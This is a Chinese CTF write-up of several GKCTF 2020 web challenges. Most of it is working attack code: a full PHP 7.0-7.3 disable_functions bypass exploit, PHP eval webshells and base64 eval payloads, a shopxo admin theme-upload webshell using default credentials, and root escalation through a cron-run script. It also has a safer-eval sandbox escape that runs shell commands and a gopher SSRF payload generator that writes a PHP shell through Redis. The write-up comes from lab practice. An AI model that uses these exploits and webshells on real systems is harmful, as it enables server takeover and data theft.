不完整,先把打出来的题目写一下,再写复现的好了
CheckIN
源码
1 | <title>Check_In</title> |
2 | |
3 | highlight_file(__FILE__); |
4 | class ClassName |
5 | { |
6 | public $code = null; |
7 | public $decode = null; |
8 | function __construct() |
9 | { |
10 | $this->code = @$this->x()['Ginkgo']; |
11 | $this->decode = @base64_decode( $this->code ); |
12 | @Eval($this->decode); |
13 | } |
14 | |
15 | public function x() |
16 | { |
17 | return $_REQUEST; |
18 | } |
19 | } |
20 | new ClassName(); |
利用__construct魔术方法,把Ginkgo的值进行base64解密后命令执行。 先写个最简单的木马,利用蚁剑连接,发现根目录有个readflag,还有个flag,不过flag里面没东西,估计是没有读取权限。readflag读取也乱码了。发现好多函数不能用,看看phpinfo();里面的有效信息。
发现disable_functions
禁用了好多关键函数。想着能不能绕过这些函数来运行readflag,获取flag。
1 |
|
2 | |
3 | # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) |
4 | # |
5 | # Bug: https://bugs.php.net/bug.php?id=72530 |
6 | # |
7 | # This exploit should work on all PHP 7.0-7.3 versions |
8 | # |
9 | # Author: https://github.com/mm0r1 |
10 | |
11 | pwn("/readflag"); //改成自己想要运行的命令或者文件,比如说这题的readflag |
12 | |
13 | function pwn($cmd) { |
14 | global $abc, $helper; |
15 | |
16 | function str2ptr(&$str, $p = 0, $s = 8) { |
17 | $address = 0; |
18 | for($j = $s-1; $j >= 0; $j--) { |
19 | $address <<= 8; |
20 | $address |= ord($str[$p+$j]); |
21 | } |
22 | return $address; |
23 | } |
24 | |
25 | function ptr2str($ptr, $m = 8) { |
26 | $out = ""; |
27 | for ($i=0; $i < $m; $i++) { |
28 | $out .= chr($ptr & 0xff); |
29 | $ptr >>= 8; |
30 | } |
31 | return $out; |
32 | } |
33 | |
34 | function write(&$str, $p, $v, $n = 8) { |
35 | $i = 0; |
36 | for($i = 0; $i < $n; $i++) { |
37 | $str[$p + $i] = chr($v & 0xff); |
38 | $v >>= 8; |
39 | } |
40 | } |
41 | |
42 | function leak($addr, $p = 0, $s = 8) { |
43 | global $abc, $helper; |
44 | write($abc, 0x68, $addr + $p - 0x10); |
45 | $leak = strlen($helper->a); |
46 | if($s != 8) { $leak %= 2 << ($s * 8) - 1; } |
47 | return $leak; |
48 | } |
49 | |
50 | function parse_elf($base) { |
51 | $e_type = leak($base, 0x10, 2); |
52 | |
53 | $e_phoff = leak($base, 0x20); |
54 | $e_phentsize = leak($base, 0x36, 2); |
55 | $e_phnum = leak($base, 0x38, 2); |
56 | |
57 | for($i = 0; $i < $e_phnum; $i++) { |
58 | $header = $base + $e_phoff + $i * $e_phentsize; |
59 | $p_type = leak($header, 0, 4); |
60 | $p_flags = leak($header, 4, 4); |
61 | $p_vaddr = leak($header, 0x10); |
62 | $p_memsz = leak($header, 0x28); |
63 | |
64 | if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write |
65 | # handle pie |
66 | $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; |
67 | $data_size = $p_memsz; |
68 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec |
69 | $text_size = $p_memsz; |
70 | } |
71 | } |
72 | |
73 | if(!$data_addr || !$text_size || !$data_size) |
74 | return false; |
75 | |
76 | return [$data_addr, $text_size, $data_size]; |
77 | } |
78 | |
79 | function get_basic_funcs($base, $elf) { |
80 | list($data_addr, $text_size, $data_size) = $elf; |
81 | for($i = 0; $i < $data_size / 8; $i++) { |
82 | $leak = leak($data_addr, $i * 8); |
83 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) { |
84 | $deref = leak($leak); |
85 | # 'constant' constant check |
86 | if($deref != 0x746e6174736e6f63) |
87 | continue; |
88 | } else continue; |
89 | |
90 | $leak = leak($data_addr, ($i + 4) * 8); |
91 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) { |
92 | $deref = leak($leak); |
93 | # 'bin2hex' constant check |
94 | if($deref != 0x786568326e6962) |
95 | continue; |
96 | } else continue; |
97 | |
98 | return $data_addr + $i * 8; |
99 | } |
100 | } |
101 | |
102 | function get_binary_base($binary_leak) { |
103 | $base = 0; |
104 | $start = $binary_leak & 0xfffffffffffff000; |
105 | for($i = 0; $i < 0x1000; $i++) { |
106 | $addr = $start - 0x1000 * $i; |
107 | $leak = leak($addr, 0, 7); |
108 | if($leak == 0x10102464c457f) { # ELF header |
109 | return $addr; |
110 | } |
111 | } |
112 | } |
113 | |
114 | function get_system($basic_funcs) { |
115 | $addr = $basic_funcs; |
116 | do { |
117 | $f_entry = leak($addr); |
118 | $f_name = leak($f_entry, 0, 6); |
119 | |
120 | if($f_name == 0x6d6574737973) { # system |
121 | return leak($addr + 8); |
122 | } |
123 | $addr += 0x20; |
124 | } while($f_entry != 0); |
125 | return false; |
126 | } |
127 | |
128 | class ryat { |
129 | var $ryat; |
130 | var $chtg; |
131 | |
132 | function __destruct() |
133 | { |
134 | $this->chtg = $this->ryat; |
135 | $this->ryat = 1; |
136 | } |
137 | } |
138 | |
139 | class Helper { |
140 | public $a, $b, $c, $d; |
141 | } |
142 | |
143 | if(stristr(PHP_OS, 'WIN')) { |
144 | die('This PoC is for *nix systems only.'); |
145 | } |
146 | |
147 | $n_alloc = 10; # increase this value if you get segfaults |
148 | |
149 | $contiguous = []; |
150 | for($i = 0; $i < $n_alloc; $i++) |
151 | $contiguous[] = str_repeat('A', 79); |
152 | |
153 | $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; |
154 | $out = unserialize($poc); |
155 | gc_collect_cycles(); |
156 | |
157 | $v = []; |
158 | $v[0] = ptr2str(0, 79); |
159 | unset($v); |
160 | $abc = $out[2][0]; |
161 | |
162 | $helper = new Helper; |
163 | $helper->b = function ($x) { }; |
164 | |
165 | if(strlen($abc) == 79 || strlen($abc) == 0) { |
166 | die("UAF failed"); |
167 | } |
168 | |
169 | # leaks |
170 | $closure_handlers = str2ptr($abc, 0); |
171 | $php_heap = str2ptr($abc, 0x58); |
172 | $abc_addr = $php_heap - 0xc8; |
173 | |
174 | # fake value |
175 | write($abc, 0x60, 2); |
176 | write($abc, 0x70, 6); |
177 | |
178 | # fake reference |
179 | write($abc, 0x10, $abc_addr + 0x60); |
180 | write($abc, 0x18, 0xa); |
181 | |
182 | $closure_obj = str2ptr($abc, 0x20); |
183 | |
184 | $binary_leak = leak($closure_handlers, 8); |
185 | if(!($base = get_binary_base($binary_leak))) { |
186 | die("Couldn't determine binary base address"); |
187 | } |
188 | |
189 | if(!($elf = parse_elf($base))) { |
190 | die("Couldn't parse ELF header"); |
191 | } |
192 | |
193 | if(!($basic_funcs = get_basic_funcs($base, $elf))) { |
194 | die("Couldn't get basic_functions address"); |
195 | } |
196 | |
197 | if(!($zif_system = get_system($basic_funcs))) { |
198 | die("Couldn't get zif_system address"); |
199 | } |
200 | |
201 | # fake closure object |
202 | $fake_obj_offset = 0xd0; |
203 | for($i = 0; $i < 0x110; $i += 8) { |
204 | write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); |
205 | } |
206 | |
207 | # pwn |
208 | write($abc, 0x20, $abc_addr + $fake_obj_offset); |
209 | write($abc, 0xd0 + 0x38, 1, 4); # internal func type |
210 | write($abc, 0xd0 + 0x68, $zif_system); # internal func handler |
211 | |
212 | ($helper->b)($cmd); |
213 | |
214 | exit(); |
215 | } |
试了下好像只能在tmp上传php文件,传入后讲php文件引入index.php
PHP include 和 require 语句
通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。
payload:
1 | ?Ginkgo=QGV2YWwoJF9HRVRbYV0pOw==&a=require('/tmp/exploit.php'); |
2 | include 或 require两种都行 |
cve版签到
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
正常点击之后会这样跳转
1 | http://*.node3.buuoj.cn/?url=http://www.ctfhub.com |
发现Headers中存在Hint:Flag in localhost
试试localhost发现有个tips:Host must be end with ‘123’ ##主机名要是123结尾
payload:
1 | ?url=http://127.0.0.123%00www.ctfhub.com |
老八小超市儿
用的shopxo一款开源的企业级商城系统,基于thinkphp5框架开发。
一开始以为TP5的POC可以打,然后发现版本是1.80,几乎是最新版= =。好像都被修复了~
shopxo后台全版本获取shell复现
利用后台上传shell来进行控制~
后台地址
1 | http://*.buuoj.cn/admin.php?s=/admin/logininfo.html |
默认账号:admin,密码:shopxo.
登陆后进入到网站管理->主题管理->更多主题下载(下一个默认主题就行)
压入自己的webshell的php文件
1 |
|
2 | @eval($_POST[a]); |
3 | phpinfo(); |
4 |
|
主题安装中上传刚刚的zip
访问一下
1 | http://*.node3.buuoj.cn/public/static/index/default/shell.php |
用蚁剑连一下
发现根目录下提示flag在/root中
有一个auto.sh文件
1 |
|
2 | while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done |
makeflaghint.py
1 | import os |
2 | import io |
3 | import time |
4 | os.system("whoami") |
5 | gk1=str(time.ctime()) |
6 | gk="\nGet The RooT,The Date Is Useful!" |
7 | f=io.open("/flag.hint", "rb+") |
8 | f.write(str(gk1)) |
9 | f.write(str(gk)) |
10 | f.close() |
在终端ps -ef发现auto.sh是root权限的,所以py脚本应该可以读取root下的flag然后输出到flag.hint文件
读取下root下的文件目录
1 | import os |
2 | import io |
3 | import time |
4 | os.system("whoami") |
5 | f=io.open("/flag.hint", "rb+") |
6 | for root,dirs,files in os.walk(r"/root"): |
7 | for file in files: |
8 | f.write(os.path.join(root,file)+"\n") |
9 | f.close() |
1 | import os |
2 | import io |
3 | import time |
4 | os.system("whoami") |
5 | f=io.open("/flag.hint", "rb+") |
6 | s=io.open("/root/flag","r").read() |
7 | f.write("chenzidu:"+s) |
8 | f.close() |
EZ三剑客-EzNode
nodejs中express框架的中间件及app.use和app.get方法的解析
源码
1 | const express = require('express'); |
2 | const bodyParser = require('body-parser'); |
3 | |
4 | const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库 |
5 | |
6 | const fs = require('fs'); |
7 | |
8 | const app = express(); |
9 | |
10 | |
11 | app.use(bodyParser.urlencoded({ extended: false })); |
12 | app.use(bodyParser.json()); |
13 | |
14 | // 2020.1/WORKER2 老板说为了后期方便优化 |
15 | app.use((req, res, next) => { |
16 | if (req.path === '/eval') { |
17 | let delay = 60 * 1000; |
18 | console.log(delay); |
19 | if (Number.isInteger(parseInt(req.query.delay))) { |
20 | delay = Math.max(delay, parseInt(req.query.delay)); |
21 | } |
22 | const t = setTimeout(() => next(), delay); |
23 | // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事 |
24 | setTimeout(() => { |
25 | clearTimeout(t); |
26 | console.log('timeout'); |
27 | try { |
28 | res.send('Timeout!'); |
29 | } catch (e) { |
30 | |
31 | } |
32 | }, 1000); |
33 | } else { |
34 | next(); |
35 | } |
36 | }); |
37 | |
38 | app.post('/eval', function (req, res) { |
39 | let response = ''; |
40 | if (req.body.e) { |
41 | try { |
42 | response = saferEval(req.body.e); |
43 | } catch (e) { |
44 | response = 'Wrong Wrong Wrong!!!!'; |
45 | } |
46 | } |
47 | res.send(String(response)); |
48 | }); |
49 | |
50 | // 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI |
delay超出int(2147483637)导致异常,
safer-Eval的RCE
1 | const saferEval = require("./src/index"); |
2 | |
3 | const theFunction = function () { |
4 | const process = clearImmediate.constructor("return process;")(); |
5 | return process.mainModule.require("child_process").execSync("whoami").toString() |
6 | }; |
7 | const untrusted = `(${theFunction})()`; |
8 | |
9 | console.log(saferEval(untrusted)); |
payload:
1 | Url: |
2 | http://d9e03ffb-d362-49e6-80b0-a9280774354d.node3.buuoj.cn/eval?delay=2147483649 |
3 | post: |
4 | e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString() |
5 | 或者 |
6 | post: |
7 | e=(function () {const process = clearImmediate.constructor("return process;")();return process.mainModule.require("child_process").execSync("cat /flag").toString()})() |
EZ三剑客-EzWeb
F12提示?secret
,访问一下发现能看到本机信息。考得是内网渗透,内网看看有啥不一样
1 | import requests |
2 | |
3 | url = 'http://f876b23b-c6a7-43a7-89dd-e44273e7dbf1.node3.buuoj.cn/index.php' |
4 | num = len(requests.get(url,params={"url":"173.121.166.10","submit":"提交"}).content) |
5 | for i in range(1,254): |
6 | res=requests.get(url,params={"url":"173.121.166."+str(i),"submit":"提交"}) |
7 | print(res.text) |
发现173.121.166.11提醒了。
brup扫下端口,6379是redis的端口。
浅析Redis中SSRF的利用
拿里面的exp来生成payload:
1 | import urllib |
2 | protocol="gopher://" |
3 | ip="173.121.166.11" |
4 | port="6379" |
5 | shell="\n\n<?php system('cat /flag');?>\n\n" |
6 | filename="shell.php" |
7 | path="/var/www/html" |
8 | passwd="" |
9 | cmd=["flushall", |
10 | "set 1 {}".format(shell.replace(" ","${IFS}")), |
11 | "config set dir {}".format(path), |
12 | "config set dbfilename {}".format(filename), |
13 | "save" |
14 | ] |
15 | if passwd: |
16 | cmd.insert(0,"AUTH {}".format(passwd)) |
17 | payload=protocol+ip+":"+port+"/_" |
18 | def redis_format(arr): |
19 | CRLF="\r\n" |
20 | redis_arr = arr.split(" ") |
21 | cmd="" |
22 | cmd+="*"+str(len(redis_arr)) |
23 | for x in redis_arr: |
24 | cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") |
25 | cmd+=CRLF |
26 | return cmd |
27 | |
28 | if __name__=="__main__": |
29 | for x in cmd: |
30 | payload += urllib.quote(redis_format(x)) |
31 | print payload |
提交之后直接访问http://173.121.166.11/shell.php
可以拿到flag
参考
disable_functions绕过
PHP Include
CVE-2020-7066
shopxo后台全版本获取shell复现
python遍历目录下的所有文件和目录
防灾科技学院GKCTF 2020 Writeup
nodejs中express框架的中间件及app.use和app.get方法的解析
safer-Eval的RCE
浅析Redis中SSRF的利用